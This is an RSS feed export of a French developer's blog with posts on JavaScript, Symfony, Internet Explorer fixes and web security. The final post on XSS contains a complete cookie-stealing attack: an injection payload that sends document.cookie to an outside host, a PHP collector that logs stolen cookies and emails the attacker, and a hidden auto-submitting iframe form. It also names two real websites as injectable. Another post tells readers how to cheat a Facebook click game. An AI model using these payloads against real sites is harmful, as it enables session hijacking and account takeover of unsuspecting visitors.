<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lucas Courot</title>
	<atom:link href="http://www.lucas.courot.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lucas.courot.com</link>
	<description>&#201;lève ingénieur en informatique</description>
	<lastBuildDate>Sun, 04 Jul 2010 00:17:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Simuler un clique de souris en JavaScript</title>
		<link>http://www.lucas.courot.com/javascript/simuler-un-clique-de-souris-en-javascript/</link>
		<comments>http://www.lucas.courot.com/javascript/simuler-un-clique-de-souris-en-javascript/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 00:12:49 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[clique]]></category>
		<category><![CDATA[firebug]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=376</guid>
		<description><![CDATA[<a href="/javascript/simuler-un-clique-de-souris-en-javascript/" class="img_extrait"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/07/click.png"" alt="" /></a>
Fonction et cas pratique]]></description>
			<content:encoded><![CDATA[<p>Voici une fonction bien pratique permettant de simuler un évènement JavaScript sans aucune intervention de la part du visiteur.</p>
<pre  class="brush: php;">
function click_me(element) {
	try { // ie
		document.getElementById(element).click();
	}
	catch(e) {
		var evt = document.createEvent("MouseEvents"); // creates mouse event
		evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);  // inits mouse event
		var cb = document.getElementById(element); // gets element
		cb.dispatchEvent(evt);  // sends event to element
	}
}
</pre>
<p>A l&#8217;appel de la fonction un clique sera simulé sur l&#8217;évènement portant l&#8217;id passé en argument.</p>
<p>Toutefois, faites attention à ce que l&#8217;élément possède <strong>un attribut onclick</strong>, sans quoi aucune action ne sera exécutée.</p>
<h3>Comment tricher au jeux &laquo;&nbsp;Le Défi du Clic&nbsp;&raquo; sur Facebook</h3>
<p>A l&#8217;aide de l&#8217;extension Firebug, on peut ainsi s&#8217;amuser à tricher à certains jeux dont le but est de cliquer un maximum de fois sur un bouton dans un temps limité.</p>
<p><a href="http://www.lucas.courot.com/wp-content/uploads/2010/07/click1.png"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/07/click1.png" alt="" /></a></p>
<p>Une fois le code source édité, on obtient le score voulu&#8230;</p>
<p><a href="http://www.lucas.courot.com/wp-content/uploads/2010/07/click2.png"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/07/click2.png" alt="" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/javascript/simuler-un-clique-de-souris-en-javascript/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Jouer à Pacman sur Google</title>
		<link>http://www.lucas.courot.com/actualite/jouer-a-pacman-sur-google/</link>
		<comments>http://www.lucas.courot.com/actualite/jouer-a-pacman-sur-google/#comments</comments>
		<pubDate>Fri, 21 May 2010 16:05:14 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=358</guid>
		<description><![CDATA[<a href="/actualite/jouer-a-pacman-sur-google/" class="img_extrait"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/05/pacman.png" alt="" /></a>
Google remplace son logo par le jeux Pacman]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui, pour les 30 ans de Pacman, Google change de logo, ou plutôt, remplace son logo par le jeu Pacman jouable seul ou a deux.</p>
<p>Le jeu, développé en JavaScript se joue avec les flêches directionnelles du clavier et le résultat est assez impressionnant. Le fond sonore est toutefois géré en flash. C&#8217;est la première fois que Google remplace son logo par un logo &laquo;&nbsp;interactif&nbsp;&raquo;.</p>
<p>Voici le sprite du Pacman:</p>
<p><a href="http://www.lucas.courot.com/wp-content/uploads/2010/05/pacman10-hp-sprite.png"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/05/pacman10-hp-sprite.png" alt="sprite pacman" width="620" height="240" /></a></p>
<p>Et voici une version extraite de <a href="http://projects.courot.com/google-pacman/" title="Jouer à Google Pacman">Google Pacman</a> que j&#8217;ai récupéré depuis les sources, qui est également disponible à <a href="http://projects.courot.com/google-pacman/" title="Google Pacman Offline">cette adresse</a>: </p>
<div class="center">
<iframe src="http://projects.courot.com/google-pacman/" width="554" height="216" frameborder="0"></iframe>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/actualite/jouer-a-pacman-sur-google/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symfony Cheat Sheets</title>
		<link>http://www.lucas.courot.com/php/symfony-cheat-sheets/</link>
		<comments>http://www.lucas.courot.com/php/symfony-cheat-sheets/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 20:20:04 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[Symfony]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=331</guid>
		<description><![CDATA[<a href="/php/symfony-cheat-sheets/" class="img_extrait"><img src="/wp-content/uploads/2010/03/symfony.jpg" alt="" /></a>
Un récapitulatif des principales commandes...]]></description>
			<content:encoded><![CDATA[<div style="float:left; padding: 0 40px 20px; height: 150px; overflow:hidden"><a href="http://www.lucas.courot.com/wp-content/uploads/2010/03/cheat_sheet_symfony_1_4.pdf"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/03/symfonycheatfr-212x300.jpg" alt="symfonycheatfr" width="212" height="300" /></a>
</div>
<p style="text-align:justify">Symfony est un framework MVC libre écrit en PHP 5. En tant que framework, il facilite et accélère le développement de sites et d&#8217;applications Internet et Intranet.</p>
<p style="text-align:justify">Aujourd&#8217;hui je vous propose de découvrir un récapitulatif des principales commandes Symfony disponibles en français au format JPEG et PDF. Comme ça plus de trous de mémoire <img src='http://www.lucas.courot.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p><br style="clear:both" /></p>
<h3>Pour Symfony 1.4</h3>
<div style="text-align:center">
<a href="http://www.lucas.courot.com/wp-content/uploads/2010/03/cheat_sheet_symfony_1_4.pdf"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/03/pdf.jpg" alt="Au format PDFD" title="Au format PDF" width="150" height="150" /></a>
</div>
<h3>Pour les anciennes versions de Symfony</h3>
<div style="width:45%; float:left; text-align:right">
<a href="http://andreiabohner.files.wordpress.com/2007/05/symfonycheat001fr.jpg"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/03/jpeg.jpg" alt="jpeg" title="Au format JPEG" /></a>
</div>
<div style="width:45%; float:right; text-align:left">
<a href="http://andreiabohner.files.wordpress.com/2007/05/symfonycheat001fr.pdf"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/03/pdf.jpg" alt="Au format PDFD" title="Au format PDF" width="150" height="150" /></a>
</div>
<p><br style="clear:both" /></p>
<p>Vous trouverez d&#8217;autres anti-sèches concernant ce framework à <a href="http://trac.symfony-project.org/wiki/CheatSheets">cette adresse</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/php/symfony-cheat-sheets/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Richard Stallman donne une conférence à Lyon</title>
		<link>http://www.lucas.courot.com/gnu-linux/richard-stallman-donne-une-conference-a-lyon/</link>
		<comments>http://www.lucas.courot.com/gnu-linux/richard-stallman-donne-une-conference-a-lyon/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 00:42:40 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[logiciel libre]]></category>
		<category><![CDATA[Richard Stallman]]></category>
		<category><![CDATA[RMS]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=310</guid>
		<description><![CDATA[<a href="/gnu-linux/richard-stallman-donne-une-conference-a-lyon/" class="img_extrait"><img src="http://www.lucas.courot.com/wp-content/uploads/2009/12/rms.jpg" alt="" /></a>
Un évènement à ne pas rater pour les lyonnais]]></description>
			<content:encoded><![CDATA[<p>En ce début d&#8217;année, <a href="http://fr.wikipedia.org/wiki/Richard_Stallman">Richard Stallman</a> donnera, le 13 janvier 2010, une conférence à Lyon portant sur le thème du logiciel libre, de la société libre et des biens communs numériques.</p>
<p><i>Considéré comme le père des logiciels libres, Richard Stallman est à l&#8217;origine en autres du projet GNU (et la Free Software Fundation) et de la licence GPL.</i></p>
<p>Je serai personnellement présent à cette conférence (c&#8217;est pas tous les jours qu&#8217;une telle personnalité du monde de l&#8217;informatique se rend dans ma ville). Pour les intéressés la conférence débute vers 18h30 et aura lieu au Grand amphithéâtre de l&#8217;Université Lyon 2 et sera en français.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/gnu-linux/richard-stallman-donne-une-conference-a-lyon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Convertir des caractères spéciaux en HTML</title>
		<link>http://www.lucas.courot.com/html/convertir-des-caracteres-speciaux-en-html/</link>
		<comments>http://www.lucas.courot.com/html/convertir-des-caracteres-speciaux-en-html/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 15:16:51 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[(X)HTML]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=302</guid>
		<description><![CDATA[<a href="/html/convertir-des-caracteres-speciaux-en-html/" class="img_extrait"><img src="http://www.lucas.courot.com/wp-content/uploads/2009/11/html-entities.png" alt="" /></a>
Convertisseur d'entités HTML]]></description>
			<content:encoded><![CDATA[<p>Voici un moyen rapide pour convertir un caractère ou un block de texte en entités HTML.</p>
<p>Cet outil utilise la fonction htmlentities() de PHP.</p>
<p style="font-size: 15px; text-align: center"><a href="http://projects.courot.com/htmlentities-converter/" title="convertisseur d'entités HTML">Cliquez ici pour accéder au convertisseur</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/html/convertir-des-caracteres-speciaux-en-html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Récupérer l&#8217;adresse ip d&#8217;un visiteur</title>
		<link>http://www.lucas.courot.com/php/recuperer-ladresse-ip-dun-visiteur/</link>
		<comments>http://www.lucas.courot.com/php/recuperer-ladresse-ip-dun-visiteur/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 14:46:10 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[adresse ip]]></category>
		<category><![CDATA[proxy]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=293</guid>
		<description><![CDATA[<a href="/php/recuperer-ladresse-ip-dun-visiteur/" class="img_extrait"><img src="http://www.lucas.courot.com/wp-content/uploads/2009/11/ip1.png" alt="" /></a>
Comment obtenir l'adresse ip d'un client utilisant un proxy...]]></description>
			<content:encoded><![CDATA[<p>Voici une petite fonction en PHP qui permet de récupérer l&#8217;adresse ip d&#8217;un visiteur, même si celui-ci utilise un proxy. HTTP_X_FORWARDED_FOR renvoi l&#8217;adresse ip qui se trouve derrière un proxy, seulement si ce dernier est en mode transparent.</p>
<pre class="brush: php;">
&lt;?php
function get_ip(){
	if(isset($_SERVER[&#039;HTTP_X_FORWARDED_FOR&#039;]))
		return $_SERVER[&#039;HTTP_X_FORWARDED_FOR&#039;];
	elseif(isset($_SERVER[&#039;HTTP_CLIENT_IP&#039;]))
		return $_SERVER[&#039;HTTP_CLIENT_IP&#039;];
	else
		return $_SERVER[&#039;REMOTE_ADDR&#039;];
}
?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/php/recuperer-ladresse-ip-dun-visiteur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adapter son site pour Internet Explorer</title>
		<link>http://www.lucas.courot.com/css/adapter-son-site-pour-internet-explorer/</link>
		<comments>http://www.lucas.courot.com/css/adapter-son-site-pour-internet-explorer/#comments</comments>
		<pubDate>Sat, 01 Aug 2009 21:08:42 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[(X)HTML]]></category>
		<category><![CDATA[commentaires conditionnels]]></category>
		<category><![CDATA[hacks css]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[W3C]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=254</guid>
		<description><![CDATA[<a href="/css/adapter-son-site-pour-internet-explorer/" class="img_extrait"><img src="http://www.lucas.courot.com/wp-content/uploads/2009/08/hacks_ie.png" alt="" /></a>
Quelques astuces pour rendre son site accessible sur IE]]></description>
			<content:encoded><![CDATA[<h3>Introduction</h3>
<p>Il est souvent difficile de rendre un design compatible sur tous les navigateurs, surtout sur IE 6 et ses versions antérieurs. Heureusement, il existe des astuces pour appliquer des &laquo;&nbsp;patchs&nbsp;&raquo; à Internet Explorer. On utilise souvent des commentaires conditionnels ou alors des hacks CSS pour adapter les feuilles de style au moteur de rendu du navigateur.</p>
<h3>Les commentaires conditionnels pour IE</h3>
<p>Les commentaires conditionnels sont des commentaires (X)HTML standards ayant une syntaxe particulière. Ils ne sont interprétés que par Internet Explorer ou une version ciblée de ce dernier, les autres navigateurs les interprètent comme de simples commentaires. Bien entendu ils peuvent être aussi bien mis dans la balise &lt;body&gt; que dans la balise &lt;head&gt;</p>
<h4>Syntaxe pour viser toutes les versions d&#8217;IE</h4>
<pre class="brush: xml;">
&lt;!--[if IE]&gt;
	Code HTML interpr&eacute;t&eacute; par IE
&lt;![endif]--&gt;
</pre>
<h4>Syntaxe pour viser une ou plusieurs versions d&#8217;IE</h4>
<pre class="brush: xml;">
&lt;!--[if comparaison IE version]&gt;
	Code HTML interpr&eacute;t&eacute; par une ou plusieurs versions d'IE
&lt;![endif]--&gt;
</pre>
<p>La <strong>comparaison </strong>peut prendre les valeurs suivantes :</p>
<ul>
<li><strong>gt</strong> pour &gt;</li>
<li><strong>gte</strong> pour &ge;</li>
<li><strong>lt</strong> pour &lt;</li>
<li><strong>lte</strong> pour &le;</li>
<li>aucune valeur n&#8217;est requise pour le signe égal</li>
<li><strong>!</strong> pour prendre en compte toutes les versions d&#8217;IE sauf celle indiquée</li>
</ul>
<p>Les commentaires conditionnels sont compris par Internet Explorer depuis IE 5.0.</p>
<p>La <strong>version </strong>du navigateur peut prendre les valeurs suivantes :</p>
<ul>
<li><strong>5.0</strong></li>
<li><strong>5.5000</strong></li>
<li><strong>6</strong></li>
<li><strong>7</strong></li>
<li><strong>8</strong></li>
<li><strong>etc</strong></li>
</ul>
<p>Exemple: </p>
<pre class="brush: xml;">
&lt;!-- Pour IE 6 uniquement --&gt;
&lt;!--[if IE 6]&gt;
	&lt;link href=&quot;/ie6.css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot; type=&quot;text/css&quot; /&gt;
&lt;![endif]--&gt;

&lt;!-- Pour IE 5 et IE 5.5 --&gt;
&lt;!--[if lt IE 6]&gt;
	&lt;script type=&quot;text/javascript&quot;&gt;alert(&#039;Merci de mettre a jour votre navigateur!&#039;);
	document.location.href=&#039;http://fr.www.mozilla.com/fr/?flang=fr&#039;;&lt;/script&gt;
&lt;![endif]--&gt;

&lt;!-- Pour IE plus grand ou égale à 7 --&gt;
&lt;!--[if gte IE 7]&gt;
	&lt;link href=&quot;/ie_superieur_egale_a_7.css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot; type=&quot;text/css&quot; /&gt;
&lt;![endif]--&gt;
</pre>
<h4>Astuce bonus</h4>
<p>Nous avons vu comment montrer du code HTML à IE mais nous n&#8217;avons pas vu comment le lui cacher.</p>
<pre class="brush: xml;">
&lt;!--[if !IE]&gt;--&gt;
	&lt;style type=&quot;text/css&quot;&gt;
	p:first-letter {
		font-weight:bold;
	}
	&lt;/style&gt;
&lt;!--&lt;![endif]--&gt;
</pre>
<p>Vous remarquerez que la syntaxe change légèrement. Le code HTML n&#8217;est plus dans un commentaire.</p>
<h3>Hacks CSS</h3>
<p>Personnellement je vous déconseille l&#8217;utilisation des hacks pour plusieurs raisons :</p>
<ul>
<li>Leur syntaxe est souvent &laquo;&nbsp;tirée par les cheveux&nbsp;&raquo;</li>
<li>Certains ne sont pas valides W3C</li>
<li>Il est plus propre de mettre les correctifs pour les versions d&#8217;IE concernés dans des feuilles de style à part</li>
</ul>
<p>Si toutefois vous en avez besoin, je vous conseille d&#8217;aller voir <a href="http://centricle.com/ref/css/filters/">ce tableau</a> qui répertorie la plupart des hacks CSS.</p>
<h3>Comment rendre ses PNG transparents sur IE6</h3>
<p>Le format d&#8217;image (.png) est de plus en plus répandu sur le web. Le problème étant que IE6 ne gère pas la transparence de ce dernier, à la place vous avez droit à un beau fond gris. Toutefois des <a href="http://dillerdesign.com/experiment/DD_belatedPNG/">astuces en JavaScript</a> existent.</p>
<h3>Tester un design sur les anciennes versions de IE</h3>
<p>Pour vérifier que votre site soit compatible sur les anciennes versions d&#8217;Internet Explorer je vous recommande <a href="http://www.my-debugbar.com/wiki/IETester/HomePage">IE Tester</a>.</p>
<p>Pour ceux qui n&#8217;ont pas Windows, je leur conseille <a href="http://ipinfo.info/netrenderer/index.php">netrenderer</a> ou encore <a href="http://browsershots.org/">browsershot.org</a>. Ils prennent des screenshots de votre sites et vous les renvoient. Si cette solution ne vous convient pas il y&#8217;a toujours la virtualisation ou l&#8217;émulation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucas.courot.com/css/adapter-son-site-pour-internet-explorer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Que sont les failles XSS ?</title>
		<link>http://www.lucas.courot.com/securite/que-sont-les-failles-xss/</link>
		<comments>http://www.lucas.courot.com/securite/que-sont-les-failles-xss/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 04:01:09 +0000</pubDate>
		<dc:creator>Lucas</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[faille xss]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[vol de cookies]]></category>

		<guid isPermaLink="false">http://www.lucas.courot.com/?p=121</guid>
		<description><![CDATA[<a href="/securite/que-sont-les-failles-xss/" class="img_extrait"><img src="http://www.lucas.courot.com/wp-content/uploads/2010/07/faille-xss.png" alt="" /></a>
Voulez vous en savoir plus sur le type de faille le plus répandu du web ?]]></description>
			<content:encoded><![CDATA[<h3>Introduction</h3>
<p><strong>Cross site scripting</strong>, abrégé <strong>XSS</strong> &#8211; pour ne pas être confondu avec <del>Counter Strike Source</del> <strong>Cascading Style Sheets (CSS)</strong> &#8211; est un type de faille de sécurité qu&#8217;on trouve assez souvent sur les sites internet.</p>
<p><small><strong>Note:</strong> X est une abréviation pour « cross » (croix en anglais)</small></p>
<p>Cette faille permet à n&#8217;importe qui d&#8217;injecter du code malveillant (souvent en langage <strong>JavaScript</strong>) dans une page du site pour le faire exécuter par le navigateur de la victime.</p>
<h3>Risques d&#8217;une faille XSS</h3>
<p>Comme vous pouvez le constater les risques sont multiples:</p>
<ul>
<li>Vol de cookies et de sessions (la plupart du temps pour usurper une identité)</li>
<li>Propagation d&#8217;un virus (cf. <a href="http://en.wikipedia.org/wiki/Samy_(XSS)">Virus Samy</a> de MySpace)</li>
<li>Redirection de la page, souvent de manière transparente</li>
<li>Phishing (hameçonnage)</li>
<li>Plantage du navigateur, avec une boucle infinie par exemple, fork bomb etc</li>
</ul>
<h3>Comment déceler une faille XSS ?</h3>
<p>Pour savoir si un site internet a un trou XSS il faut trouver un moyen d&#8217;<strong>injecter du code Javascript</strong> dans la page. La plupart du temps il suffit de <strong>vérifier que les caractères tels que les guillemets simples, doubles et les chevrons ne soient pas transformés en leur entité HTML</strong> à l&#8217;affichage de la page.<br />
Je dis bien la plupart du temps car il m&#8217;est arrivé de tomber sur un site où une variable GET était directement affichée entre les balises &lt;script&gt; (voir le deuxième exemple)</p>
<p>Voici deux exemples des sites ayant une faille XSS qui illustrent bien ce que je viens de dire. On peut injecter du JavaScript dans leurs champs de recherche:</p>
<ul>
<li>(Etudiants et développement)  <span style="color:blue">http://www.etudiantsetdeveloppement.org/</span><br />
Exemple de code à injecter:<br />
<code style="color:#B55">&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code>
</li>
<li>(Ville de Lyon) <span style="color:blue">http://www.lyon.fr/</span><br />
Exemple de code à injecter: <code style="color:#B55">'; alert('Faille XSS détectée'); var unevar='</code></li>
</ul>
<p><small><strong>Note:</strong> Ces sites ont été choisis complètement au hasard. Pour les trouver il suffit de faire une recherche dans Google sur les termes &laquo;&nbsp;<a href="http://www.google.fr/search?q=site&#038;hl=fr&#038;start=10&#038;sa=N">site</a>&nbsp;&raquo; et &laquo;&nbsp;<a href="http://www.google.fr/search?q=site+d%C3%A9velopp%C3%A9+par+stagiaire">site développé par stagiaire</a>&nbsp;&raquo; ^^</small></p>
<h3>L&#8217;exploit d&#8217;une faille XSS</h3>
<h4>Théorie</h4>
<p>Bien entendu, les deux exemples ci-dessus <strong>n&#8217;exploitent pas</strong> la faille car le script n&#8217;est exécuté que par <strong>votre</strong> navigateur.</p>
<p>Pour exécuter un script malveillant sur l&#8217;ordinateur de la victime l&#8217;attaquant a le choix:</p>
<ul>
<li>Soit les données non protégées sont directement insérées dans la <acronym title="Base De Données">BDD</acronym>, dans ce cas il n&#8217;y rien à faire à part les soumettre et attendre que la victime exécute le script</li>
<li>Soit les données non protégées sont accessibles depuis une méthode <strong>GET</strong>, dans ce cas il peut communiquer le lien piégé à la victime en utilisant souvent <a href="http://fr.wikipedia.org/wiki/Ing%C3%A9nierie_sociale_(s%C3%A9curit%C3%A9_de_l%27information)">l&#8217;ingénierie sociale</a></li>
<li>Soit les données non protégées sont accessibles depuis une méthode <strong>POST</strong>, dans ce cas l&#8217;attaquant peut faire soumettre à la victime un formulaire avec le code malveillant. La soumission peut se faire de manière transparente. Là encore il faut utiliser l&#8217;<a href="http://fr.wikipedia.org/wiki/Ing%C3%A9nierie_sociale_(s%C3%A9curit%C3%A9_de_l%27information)">ingénierie sociale</a> si la personne est ciblée</li>
</ul>
<h4>Comment créer une faille XSS ?</h4>
<p>Supposons qu&#8217;une personne malveillante (appelons la <strong>John</strong>) veuille récupérer les <strong>cookies </strong>d&#8217;un site dont vous êtes <strong>webmaster</strong>.</p>
<p>Supposons que vous ayez développé un petit site avec un backoffice pour gérer le contenu et que malencontreusement vous ayez fait l&#8217;erreur suivante:</p>
<pre  class="brush: php;">
&lt;h2 id=&quot;recherche&quot;&gt;Rechercher...&lt;/h2&gt;
&lt;form action=&quot;&quot; method=&quot;get&quot;&gt;&lt;div&gt;
	&lt;input type=&quot;text&quot; name=&quot;search&quot; value=&quot;&lt;?php if(isset($_GET[&#039;search&#039;]))
		echo stripslashes($_GET[&#039;search&#039;]) ?&gt;&quot; /&gt;
	&lt;input type=&quot;submit&quot; value=&quot;OK&quot; /&gt;
&lt;/div&gt;&lt;/form&gt;
</pre>
<p><small><strong>Note:</strong> J&#8217;ai utilisé la fonction stripslashes() en supposons que les <em>magic quotes</em> soient activées</small></p>
<p>Ceci est un formulaire contenant un champ de recherche. Lorsque vous faites une recherche, une variable nommée <strong>search</strong> se crée sur la page, elle contient le texte que le visiteur vient de taper. Pour plus d&#8217;accessibilité <strong>nous remettons le contenu recherché</strong> dans le champ de recherche.</p>
<p>En faisant cela on a créé une faille XSS parce qu&#8217;on ne convertit pas les entités HTML au niveau de l&#8217;affichage (l&#8217;endroit où les données non protégées sont affichées importe peu).</p>
<h4>Comment exploiter une faille XSS ?</h4>
<p>Pour exploiter la faille John peut vous piégez en vous envoyant un lien de votre site intégrant du code malveillant. Le script malveillant s&#8217;affichera dans le code source de votre page tel qu&#8217;il est sans être paralysé et John pourra donc y injecter du JavaScript. </p>
<p>Voici le code à injecter pour exploiter la faille ouverte ci-dessus:</p>
<pre  class="brush: xml;">
bidule&quot; /&gt;
&lt;script&gt;document.getElementById(&#039;recherche&#039;).style.background = &quot;url(&#039;http://site-malveillant.com/xss/file.php?c=&quot;+ document.cookie +&quot;&#039;)&quot;&lt;/script&gt;
&lt;input type=&quot;hidden&quot; name=&quot;a
</pre>
<ul>
<li>Ligne 1 et ligne 3, nous paralysons l&#8217;attribut value de la balise input</li>
<li>Ligne 2, nous injectons du code JavaScript qui redirige les cookies de la victime vers le site malveillant de manière transparente</li>
</ul>
<p>La victime ne se rend compte de rien, elle croit avoir fait une recherche sur le terme que le pirate lui a envoyé (ici <em>bidule</em>), mais au fait elle vient de se faire <strong>voler ses cookies</strong>.</p>
<p><small><strong>Note:</strong> Seuls les cookies se référant au site sont volés</small></p>
<p>Techniquement, le code JavaScript va appliquer une image de fond transparente à la &lt;div&gt; du formulaire. Cette image, il va aller la chercher sur un <strong>site externe</strong> en passant en paramètre les cookies du visiteur.</p>
<p>Voyons maintenant comment John récupère vos cookies. Voici un exemple de code source de la page file.php à laquelle le script fait appel:</p>
<pre  class="brush: php;">
&lt;?php
$filename = &#039;cookies.txt&#039;;
if(isset($_GET[&quot;c&quot;])) { //c comme Cookie
	@file_put_contents($filename, date(&quot;\L\e d/m/y \a H\h i\m s\s &gt;  &quot;). $_GET[&quot;c&quot;] .
		&quot;\r\n&quot;, FILE_APPEND | LOCK_EX);
	@mail(&#039;prenom@monsite.com&#039;, &#039;XSS&#039;, &#039;Le poisson a mordu !&#039;);
}	

header (&quot;Content-type: image/gif&quot;);
$img = imagecreate(1, 1);
$color = imagecolorallocate($img, 255, 255, 255);
$transparent = imagecolortransparent($img, $color);
imagegif($img);
?&gt;
</pre>
<ul>
<li>Ce script enregistre les cookies passés en paramètre dans un fichier texte que John peut consulter</li>
<li>Un mail est envoyé à John dès que le script est exécuté</li>
<li>Enfin, la page renvoi une image transparente de 1px² qui sera appliquée à la propriété CSS background de l&#8217;id &laquo;&nbsp;recherche&nbsp;&raquo;</li>
</ul>
<p>Exemple de résultat du fichier cookies.txt après exécution du script</p>
<pre style="margin: 0 20px; padding: 5px; border: 1px solid gray;">
Le 29/07/09 a 13h 26m 07s >  login=Gerard; password=r6AAQng0
Le 29/07/09 a 13h 28m 15s >  login=admin; password=Qfg56dzeT
</pre>
<p>Il ne suffit à John qu&#8217;à reforger les cookies avec leurs valeurs et le nom de domaine du site pour accéder au backoffice. Pour ce genre d&#8217;opérations des plugins Firefox existent.</p>
<h4>Exploiter une faille XSS via la méthode POST</h4>
<p>Jusqu&#8217;ici nous avons vu comment s&#8217;exploite une faille XSS via la méthode GET, mais si le formulaire précédent était en POST ?</p>
<p>Au lieu d&#8217;injecter le code directement dans l&#8217;adresse de la page, John va devoir faire soumettre un formulaire à la victime, avec la méthode POST.</p>
<p>Pour cela il va mettre en ligne une page html (ou deux si il est intelligent) avec le code suivant:</p>
<p><small><strong>Note:</strong> Je ne me concentre que sur le code qui est entre les balises &lt;body&gt;</small></p>
<pre  class="brush: xml;">
&lt;form action=&quot;http://www.site-victime.com/recherche.php&quot; method=&quot;post&quot; name=&quot;form&quot;&gt;
	&lt;div style=&quot;display:none&quot;&gt;
		&lt;textarea name=&quot;search&quot;&gt;bidule&amp;quot; /&amp;gt;
&amp;lt;script&amp;gt;document.getElementById(&amp;#039;recherche&amp;#039;).style.background = &amp;quot;url(&amp;#039;http://s-c.fr/xss/file.php?c=&amp;quot;+ document.cookie +&amp;quot;&amp;#039;)&amp;quot;&amp;lt;/script&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;a&lt;/textarea&gt;
		&lt;input type=&quot;submit&quot; value=&quot;ok&quot; /&gt;
	&lt;/div&gt;
&lt;/form&gt;
&lt;!-- Soumission automatique en JavaScript --&gt;
&lt;script type=&quot;text/javascript&quot;&gt;document.forms[&#039;form&#039;].submit()&lt;/script&gt;
</pre>
<p>Le code ci-dessus aura pour but de rediriger la victime sur son site en injectant du code JavaScript en POST</p>
<pre  class="brush: xml;">
&lt;h1&gt;Bienvenue&lt;/h1&gt;
&lt;p&gt;Bla bla bla...&lt;/p&gt;
&lt;!-- Iframe qui inclue le page ayant le code précédent --&gt;
&lt;iframe src=&quot;iframe.html&quot; width=&quot;0&quot; height=&quot;0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
</pre>
<p>Le code ci-dessus a pour but de dissimuler le page précédente a l&#8217;intérieur d&#8217;un contenu que John aura pris le soin de rédiger. De cette façon la soumission du formulaire sera faite de manière complètement transparente (autant dire que là vous êtes dans la ***** ^^)</p>
<h3>Comment se protéger des failles XSS ?</h3>
<p>Rien de plus simple, il suffit de substituer les caractères spéciaux à leurs valeurs html.</p>
